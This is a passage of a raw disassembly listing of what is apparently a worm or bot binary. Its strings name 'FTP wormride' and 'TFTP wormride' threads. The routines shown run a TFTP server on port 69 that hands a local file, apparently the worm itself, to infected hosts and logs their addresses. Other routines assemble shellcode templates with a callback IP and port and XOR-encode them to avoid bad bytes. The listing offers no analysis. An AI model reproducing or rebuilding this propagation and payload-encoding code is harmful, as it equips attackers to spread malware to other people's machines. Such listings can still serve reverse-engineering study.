		call	sub_411A09
		pop	ecx
		test	eax, eax
		jz	short loc_411C9F
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411C76
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_10]
		call	sub_404871
		add	esp, 0Ch
		jmp	short loc_411C9F
; ---------------------------------------------------------------------------


loc_411C76:				; CODE XREF: sub_411BBC+A5j
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_411C9F
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------


loc_411C9F:				; CODE XREF: sub_411BBC+98j
					; sub_411BBC+B8j ...
		push	[ebp+var_1C4]
		call	sub_4053B1
		pop	ecx


loc_411CAB:				; CODE XREF: sub_411BBC+88j
		jmp	loc_411BFD
; ---------------------------------------------------------------------------


loc_411CB0:				; CODE XREF: sub_411BBC+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_411CC9
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------


loc_411CC9:				; CODE XREF: sub_411BBC+F8j
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset unk_41C6DC
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_411CE5:				; CODE XREF: sub_411BBC:loc_411D3Cj
		push	3E8h
		push	[ebp+var_10]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		cmp	[ebp+var_1C8], 0
		jz	short loc_411D2E
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jz	short loc_411D2E
		push	[ebp+var_1C8]
		push	offset sub_41113B
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411D2E
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx


loc_411D2E:				; CODE XREF: sub_411BBC+145j
					; sub_411BBC+14Ej ...
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_411D3C
		jmp	short loc_411D3E
; ---------------------------------------------------------------------------


loc_411D3C:				; CODE XREF: sub_411BBC+17Cj
		jmp	short loc_411CE5
; ---------------------------------------------------------------------------


loc_411D3E:				; CODE XREF: sub_411BBC+17Ej
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_411D55:				; CODE XREF: sub_411BBC+DEj
					; sub_411BBC+108j
		leave
		retn	4
sub_411BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D59	proc near		; DATA XREF: sub_411D68+4Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_411BBC
		pop	ebp
		retn	4
sub_411D59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D68	proc near		; CODE XREF: sub_40A9CF+70Fp
					; sub_40A9CF+735p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_4042FB
		test	eax, eax
		jz	short loc_411D77
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------


loc_411D77:				; CODE XREF: sub_411D68+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411D8D
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------


loc_411D8D:				; CODE XREF: sub_411D68+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFtpWormrideThr ; "FTP wormride thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411D59
		call	sub_4095A4
		add	esp, 10h

locret_411DC3:				; CODE XREF: sub_411D68+Dj
					; sub_411D68+23j
		leave
		retn
sub_411D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DC5	proc near		; DATA XREF: sub_4123F6+43o

var_DAC		= dword	ptr -0DACh
var_DA8		= dword	ptr -0DA8h
var_DA4		= dword	ptr -0DA4h
var_DA0		= byte ptr -0DA0h
var_D9C		= dword	ptr -0D9Ch
var_D98		= byte ptr -0D98h
var_D94		= dword	ptr -0D94h
var_D90		= dword	ptr -0D90h
var_D8C		= dword	ptr -0D8Ch
var_D88		= dword	ptr -0D88h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D7C		= dword	ptr -0D7Ch
var_D70		= byte ptr -0D70h
var_D6F		= byte ptr -0D6Fh
var_D6E		= byte ptr -0D6Eh
var_D6D		= byte ptr -0D6Dh
var_D6C		= byte ptr -0D6Ch
var_B6C		= dword	ptr -0B6Ch
var_B68		= dword	ptr -0B68h
var_B64		= dword	ptr -0B64h
var_B60		= dword	ptr -0B60h
var_B5C		= dword	ptr -0B5Ch
var_B58		= dword	ptr -0B58h
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_1B0		= word ptr -1B0h
var_1AE		= word ptr -1AEh
var_1AC		= dword	ptr -1ACh
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_19A		= byte ptr -19Ah
var_199		= byte ptr -199h
var_11C		= byte ptr -11Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DACh
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	0
		push	2
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0FFFFFFFFh
		jnz	short loc_411E1D
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411E1D:				; CODE XREF: sub_411DC5+43j
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_1B0], 2
		push	45h
		call	dword_417238	; htons
		mov	[ebp+var_1AE], ax
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_1AC], eax
		mov	[ebp+var_1A0], 1
		push	4
		lea	eax, [ebp+var_1A0]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_108]
		call	dword_417204	; setsockopt
		push	10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	[ebp+var_108]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411EC2
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411EC2:				; CODE XREF: sub_411DC5+E8j
		push	offset aRb	; "rb"
		push	offset dword_41EC0C
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 0
		jnz	short loc_411F01
		push	[ebp+var_108]
		call	dword_417230	; closesocket
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411F01:				; CODE XREF: sub_411DC5+11Bj
		mov	eax, [ebp+var_358]
		push	dword ptr [eax]
		push	offset unk_41C788
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	2
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	80h
		push	0
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_411F66:				; CODE XREF: sub_411DC5:loc_412084j
					; sub_411DC5:loc_4123C6j
		mov	[ebp+var_B64], 1
		and	[ebp+var_B60], 0
		and	[ebp+var_B5C], 0


loc_411F7E:				; CODE XREF: sub_411DC5+234j
		and	[ebp+var_B68], 0
		jmp	short loc_411F94
; ---------------------------------------------------------------------------


loc_411F87:				; CODE XREF: sub_411DC5:loc_411FB9j
		mov	eax, [ebp+var_B68]
		inc	eax
		mov	[ebp+var_B68], eax


loc_411F94:				; CODE XREF: sub_411DC5+1C0j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnb	short loc_411FBB
		mov	eax, [ebp+var_B68]
		mov	eax, [ebp+eax*4+var_B58]
		cmp	eax, [ebp+var_108]
		jnz	short loc_411FB9
		jmp	short loc_411FBB
; ---------------------------------------------------------------------------


loc_411FB9:				; CODE XREF: sub_411DC5+1F0j
		jmp	short loc_411F87
; ---------------------------------------------------------------------------


loc_411FBB:				; CODE XREF: sub_411DC5+1DBj
					; sub_411DC5+1F2j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnz	short loc_411FF5
		cmp	[ebp+var_B5C], 200h
		jnb	short loc_411FF5
		mov	eax, [ebp+var_B68]
		mov	ecx, [ebp+var_108]
		mov	[ebp+eax*4+var_B58], ecx
		mov	eax, [ebp+var_B5C]
		inc	eax
		mov	[ebp+var_B5C], eax


loc_411FF5:				; CODE XREF: sub_411DC5+202j
					; sub_411DC5+20Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_411F7E
		lea	eax, [ebp+var_B64]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_B5C]
		push	eax
		push	0
		call	dword_41722C	; select
		test	eax, eax
		jle	loc_4123B8
		mov	[ebp+var_D84], 10h
		mov	al, byte_41DF10
		mov	[ebp+var_D70], al
		mov	ecx, 80h
		xor	eax, eax
		lea	edi, [ebp+var_D6F]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_D84]
		push	eax
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	80h
		lea	eax, [ebp+var_19C]
		push	eax
		push	[ebp+var_108]
		call	dword_417258	; recvfrom
		mov	[ebp+var_B6C], eax
		cmp	[ebp+var_B6C], 0
		jz	short loc_412084
		cmp	[ebp+var_B6C], 0FFFFFFFFh
		jnz	short loc_412089


loc_412084:				; CODE XREF: sub_411DC5+2B4j
		jmp	loc_411F66
; ---------------------------------------------------------------------------


loc_412089:				; CODE XREF: sub_411DC5+2BDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_4121C0
		movsx	eax, [ebp+var_19B]
		cmp	eax, 1
		jnz	loc_4121C0
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D88], eax
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D8C], eax
		mov	eax, [ebp+var_D88]
		inc	eax
		inc	eax
		mov	[ebp+var_D88], eax
		mov	eax, [ebp+var_D8C]
		inc	eax
		inc	eax
		mov	[ebp+var_D8C], eax
		push	[ebp+var_D8C]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_D8C]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_D8C], eax
		push	offset aOctet	; "octet"
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_D8C]
		push	offset aOctet	; "octet"
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41213F
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	13h
		push	offset dword_41C76C
		push	[ebp+var_108]
		call	dword_417250	; sendto
		jmp	short loc_4121BB
; ---------------------------------------------------------------------------


loc_41213F:				; CODE XREF: sub_411DC5+354j
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		and	[ebp+var_D6E], 0
		mov	[ebp+var_D6D], 1
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_D90], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D90]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	dword_417250	; sendto


loc_4121BB:				; CODE XREF: sub_411DC5+378j
		jmp	loc_4123B8
; ---------------------------------------------------------------------------


loc_4121C0:				; CODE XREF: sub_411DC5+2CDj
					; sub_411DC5+2DDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_412396
		movsx	eax, [ebp+var_19B]
		cmp	eax, 4
		jnz	loc_412396
		mov	al, [ebp+var_19A]
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_199]
		mov	[ebp+var_D98], al
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		movzx	eax, [ebp+var_D98]
		cmp	eax, 0FFh
		jnz	short loc_412242
		mov	al, [ebp+var_DA0]
		add	al, 1
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		and	[ebp+var_D98], 0
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al
		jmp	short loc_412268
; ---------------------------------------------------------------------------


loc_412242:				; CODE XREF: sub_411DC5+44Cj
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		mov	al, [ebp+var_D98]
		add	al, 1
		mov	[ebp+var_D98], al
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al


loc_412268:				; CODE XREF: sub_411DC5+47Bj
		movzx	eax, [ebp+var_DA0]
		shl	eax, 8
		movzx	ecx, [ebp+var_D98]
		lea	eax, [eax+ecx-1]
		mov	[ebp+var_D9C], eax
		push	0
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		push	eax
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_D94], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D94]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	dword_417250	; sendto
		cmp	[ebp+var_D94], 0
		jnz	loc_412394
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		cmp	eax, [ebp+var_4]
		jb	loc_412394
		mov	eax, [ebp+var_D7C]
		mov	[ebp+var_DA8], eax
		push	[ebp+var_DA8]
		push	offset dword_41EBF0
		call	sub_409C9D
		pop	ecx
		pop	ecx
		mov	[ebp+var_DA4], eax
		mov	eax, [ebp+var_DA4]
		cmp	eax, [ebp+var_DA8]
		jz	short loc_412394
		push	1
		push	offset dword_41EBF4
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_DAC], eax
		push	10h
		push	[ebp+var_D7C]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_11C]
		push	eax
		mov	eax, [ebp+var_DAC]
		inc	eax
		push	eax
		push	offset aWormride ; "wormride"
		push	offset unk_41C730
		push	offset dword_41DB90
		call	sub_40D4AB
		add	esp, 14h


loc_412394:				; CODE XREF: sub_411DC5+52Dj
					; sub_411DC5+53Fj ...
		jmp	short loc_4123B8
; ---------------------------------------------------------------------------


loc_412396:				; CODE XREF: sub_411DC5+404j
					; sub_411DC5+414j
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	9
		push	offset dword_41C724
		push	[ebp+var_108]
		call	dword_417250	; sendto


loc_4123B8:				; CODE XREF: sub_411DC5+252j
					; sub_411DC5:loc_4121BBj ...
		mov	eax, [ebp+var_358]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4123C6
		jmp	short loc_4123CB
; ---------------------------------------------------------------------------


loc_4123C6:				; CODE XREF: sub_411DC5+5FDj
		jmp	loc_411F66
; ---------------------------------------------------------------------------


loc_4123CB:				; CODE XREF: sub_411DC5+5FFj
		push	[ebp+var_10C]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_108]
		call	dword_417230	; closesocket
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax


loc_4123F1:				; CODE XREF: sub_411DC5+53j
					; sub_411DC5+F8j ...
		pop	edi
		leave
		retn	4
sub_411DC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123F6	proc near		; CODE XREF: sub_40A9CF+726p
					; sub_40A9CF+742p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412410
		jmp	short locret_412446
; ---------------------------------------------------------------------------


loc_412410:				; CODE XREF: sub_4123F6+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aTftpWormrideTh ; "TFTP wormride	thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411DC5
		call	sub_4095A4
		add	esp, 10h

locret_412446:				; CODE XREF: sub_4123F6+18j
		leave
		retn
sub_4123F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412448	proc near		; CODE XREF: sub_4125DF+88p
					; sub_4125DF+ADp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_41245A
; ---------------------------------------------------------------------------


loc_412453:				; CODE XREF: sub_412448:loc_41249Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_41245A:				; CODE XREF: sub_412448+9j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41249C
		and	[ebp+var_8], 0
		jmp	short loc_41246F
; ---------------------------------------------------------------------------


loc_412468:				; CODE XREF: sub_412448:loc_412498j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_41246F:				; CODE XREF: sub_412448+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_C]
		jnb	short loc_41249A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_10]
		xor	eax, ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_412498
		push	1
		pop	eax
		jmp	short locret_41249E
; ---------------------------------------------------------------------------


loc_412498:				; CODE XREF: sub_412448+49j
		jmp	short loc_412468
; ---------------------------------------------------------------------------


loc_41249A:				; CODE XREF: sub_412448+2Dj
		jmp	short loc_412453
; ---------------------------------------------------------------------------


loc_41249C:				; CODE XREF: sub_412448+18j
		xor	eax, eax

locret_41249E:				; CODE XREF: sub_412448+4Ej
		leave
		retn
sub_412448	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4124A0	proc near		; CODE XREF: sub_4125DF+36p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_4], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		cmp	[ebp+arg_8], 1
		jnz	short loc_41250C
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_4124CC
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------


loc_4124CC:				; CODE XREF: sub_4124A0+23j
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C964
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 8Fh
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 88h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax
		jmp	loc_41259C
; ---------------------------------------------------------------------------


loc_41250C:				; CODE XREF: sub_4124A0+1Aj
		cmp	[ebp+arg_8], 2
		jnz	short loc_412554
		cmp	[ebp+arg_4], 0C6h
		jnb	short loc_412522
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------


loc_412522:				; CODE XREF: sub_4124A0+79j
		mov	[ebp+var_C], 0C6h
		push	[ebp+var_C]
		push	offset dword_41C89C
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 89h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C0h
		mov	[ebp+var_8], eax
		jmp	short loc_41259C
; ---------------------------------------------------------------------------


loc_412554:				; CODE XREF: sub_4124A0+70j
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_412561
		xor	eax, eax
		jmp	short locret_4125DD
; ---------------------------------------------------------------------------


loc_412561:				; CODE XREF: sub_4124A0+BBj
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C7E8
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 86h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 8Dh
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax


loc_41259C:				; CODE XREF: sub_4124A0+67j
					; sub_4124A0+B2j
		cmp	[ebp+var_4], 0
		jz	short loc_4125B0
		push	[ebp+arg_C]
		call	dword_417244	; inet_addr
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax


loc_4125B0:				; CODE XREF: sub_4124A0+100j
		cmp	[ebp+var_10], 0
		jz	short loc_4125CC
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_10]
		mov	[ecx], ax


loc_4125CC:				; CODE XREF: sub_4124A0+114j
		cmp	[ebp+var_8], 0
		jz	short loc_4125DA
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		mov	[eax], ecx


loc_4125DA:				; CODE XREF: sub_4124A0+130j
		mov	eax, [ebp+var_C]

locret_4125DD:				; CODE XREF: sub_4124A0+27j
					; sub_4124A0+7Dj ...
		leave
		retn
sub_4124A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125DF	proc near		; CODE XREF: sub_410649+8Bp
					; sub_410B52+41p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		cmp	[ebp+arg_4], 1Ch
		jnb	short loc_4125F2
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------


loc_4125F2:				; CODE XREF: sub_4125DF+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		mov	[ebp+var_4], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1E4h
		push	[ebp+var_4]
		call	sub_4124A0
		add	esp, 18h
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_41262D
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------


loc_41262D:				; CODE XREF: sub_4125DF+45j
		push	1Ch
		push	offset loc_41C7C8
		push	[ebp+var_10]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, dword_41CB98
		mov	[ebp+var_8], eax
		jmp	short loc_412659
; ---------------------------------------------------------------------------


loc_412649:				; CODE XREF: sub_4125DF+94j
					; sub_4125DF:loc_41269Aj
		call	sub_410422
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	dword_41CB98, eax


loc_412659:				; CODE XREF: sub_4125DF+68j
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_412675
		jmp	short loc_412649
; ---------------------------------------------------------------------------


loc_412675:				; CODE XREF: sub_4125DF+92j
		mov	eax, [ebp+var_14]
		xor	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41269A
		jmp	short loc_41269C
; ---------------------------------------------------------------------------


loc_41269A:				; CODE XREF: sub_4125DF+B7j
		jmp	short loc_412649
; ---------------------------------------------------------------------------


loc_41269C:				; CODE XREF: sub_4125DF+B9j
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		mov	[eax+3], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_1C]
		mov	[eax+9], ecx
		mov	al, byte_41CB95
		mov	byte ptr [ebp+var_C], al
		jmp	short loc_4126C8
; ---------------------------------------------------------------------------


loc_4126B8:				; CODE XREF: sub_4125DF+104j
		call	sub_410461
		mov	byte ptr [ebp+var_C], al
		mov	al, byte ptr [ebp+var_C]
		mov	byte_41CB95, al


loc_4126C8:				; CODE XREF: sub_4125DF+D7j
		push	[ebp+var_C]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_14]
		push	[ebp+var_4]
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_4126E5
		jmp	short loc_4126B8
; ---------------------------------------------------------------------------


loc_4126E5:				; CODE XREF: sub_4125DF+102j
		mov	eax, [ebp+var_10]
		mov	cl, byte ptr [ebp+var_C]
		mov	[eax+12h], cl
		and	[ebp+var_18], 0
		jmp	short loc_4126FB
; ---------------------------------------------------------------------------


loc_4126F4:				; CODE XREF: sub_4125DF+137j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_4126FB:				; CODE XREF: sub_4125DF+113j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_14]
		jnb	short loc_412718
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_C]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_18]
		mov	[ecx], al
		jmp	short loc_4126F4
; ---------------------------------------------------------------------------


loc_412718:				; CODE XREF: sub_4125DF+122j
		mov	eax, [ebp+var_14]
		add	eax, 1Ch

locret_41271E:				; CODE XREF: sub_4125DF+Ej
					; sub_4125DF+49j
		leave
		retn
sub_4125DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412720	proc near		; CODE XREF: sub_412A3A+Cp
					; sub_412BC9+DFp ...

var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_E4		= byte ptr -0E4h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_194], eax
		and	[ebp+var_190], 0


loc_412741:				; CODE XREF: sub_412720:loc_41278Aj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_190]
		mov	[ebp+ecx+var_10], al
		mov	eax, [ebp+var_190]
		inc	eax
		mov	[ebp+var_190], eax
		mov	eax, [ebp+var_190]
